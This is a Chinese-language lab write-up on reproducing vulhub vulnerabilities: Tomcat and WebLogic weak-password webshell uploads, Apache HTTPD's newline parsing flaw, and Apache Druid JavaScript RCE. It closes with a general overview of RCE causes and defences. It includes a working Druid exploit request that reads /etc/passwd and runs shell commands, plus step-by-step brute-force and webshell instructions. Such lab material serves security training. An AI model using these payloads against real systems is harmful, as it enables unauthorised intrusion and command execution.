目录
1.Tomcat7+ Weak Password && Backend Getshell Vulnerability
3.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
4.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
在vps安装docker和docker-compose
漏洞复现
1.Tomcat7+ Weak Password && Backend Getshell Vulnerability
在VPS上安装好靶场,之后打开靶场(http://your.ip:端口)。
点击Manger App,之后使用Burpsuit进行抓包,在进行登录时抓取password和username。之后加载弱口令爆破字典,进行爆破,可得到登录的密码与账号
登录成功以后,上传文件,此文件需要先创建一个shell.jsp,随后使用java指令使其生成一个shell.war。上传shell.war,之后打开蚁剑,网址输入你的上传网址(http://your.ip:端口/shell/shell.jsp),密码输入自己的所设置的,显示连接成功即表示成功上传。
2.Weblogic 常规渗透测试环境
打开靶场,正常输入(http://your.ip:端口)会报错,需要输入(http://your.ip:端口/console)。
之后进入登录页面,跟之前一样,使用BP抓包,在登录时,抓取password,username,随后进行爆破,得到密码和账号,进入网页。
进入网页后,点击部署,点击安装,之后上传文件,上传我们之前已经创建好的shell.war。然后,一直点击下一步,直到完成。然后打开蚁剑,输入上传网址和密码,显示连接成功,即表示上传成功,按照部署的路径,可查看上传的文件。
3.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
打开靶场,上传文件,在提交时,进行BP拦截。
编写一句话木马上传文件3.php,上传都是失败的
查看 PHP 配置文件,vulhub 里没有,需要进入容器内部查看
发现其将当前目录下符合正则表达式 .php$ 的所有文件,都当作 PHP 文件解析
而 $ 符号可以匹配换行符 “\n”,也就是16进制的 0x0a,所以存在解析漏洞
之后发送到重放器,改为十六进制,找到evil.php的末尾‘2e’改为‘0a’,之后点击发送,可显示成功。
4.Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
打开靶场,点击load data,在里面选择功能,之后点击连接,进行抓包,之后通过BP抓包进行修改验证。
以下为修改信息:
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 172.16.10.14:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 912
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
RCE漏洞的原理和利用条件及解决方案
RCE漏洞,即远程代码执行(Remote Code Execution)漏洞,是一种常见的网络安全漏洞。攻击者通过该漏洞,可以在受害者的服务器上执行任意代码,从而控制服务器。以下是RCE漏洞的原理、利用条件及解决方案的总结:
原理:
- 输入验证不足:当应用程序从用户那里接收输入(如表单、URL参数等)时,如果没有进行适当的验证和过滤,就可能将恶意代码作为输入执行。
- 动态代码执行:应用程序可能会在服务器上执行动态生成的代码,如某些服务器端脚本语言(PHP、Python等)可以执行包含在请求中的代码。
- 不安全的外部调用:应用程序可能调用外部程序或系统命令,如果调用参数未经验证,就可能被利用。
利用条件:
- 输入点:应用程序必须有从用户接收输入的点,且这些输入可以被传递到执行环境。
- 执行环境:服务器端必须有一个可以执行代码的环境,如Web服务器、命令行接口等。
- 无过滤或弱过滤:应用程序没有对输入进行适当的过滤或消毒,或者过滤规则可以被绕过。
- 权限:执行代码的用户账户必须具备一定的权限,以执行攻击者想要的操作。
解决方案:
1.输入验证:
对所有用户输入进行严格的验证,仅接受预期内的输入。
使用白名单来限制输入类型,避免执行不可信的输入。
2.输出编码:
对输出进行编码,避免将用户输入直接渲染到输出中,减少跨站脚本(XSS)的风险。
3.使用安全的API和函数:
避免使用可能执行代码的函数,如 eval()、system()、exec() 等。
使用参数化查询和预编译语句来处理数据库操作,避免SQL注入。
4.最小权限原则:
运行应用程序和服务的账户应具有最小的必要权限,限制攻击者可能的操作范围。
5.安全配置:
服务器和应用框架应保持最新的安全配置,禁用不必要的服务和功能。
6.定期安全审计:
定期进行代码审计和安全测试,及时发现并修复安全漏洞。
7.错误处理:
设置合理的错误处理机制,避免向用户泄露敏感信息,如系统路径、数据库结构等。
8.及时更新和打补丁:
及时更新应用程序和服务器组件,安装安全补丁。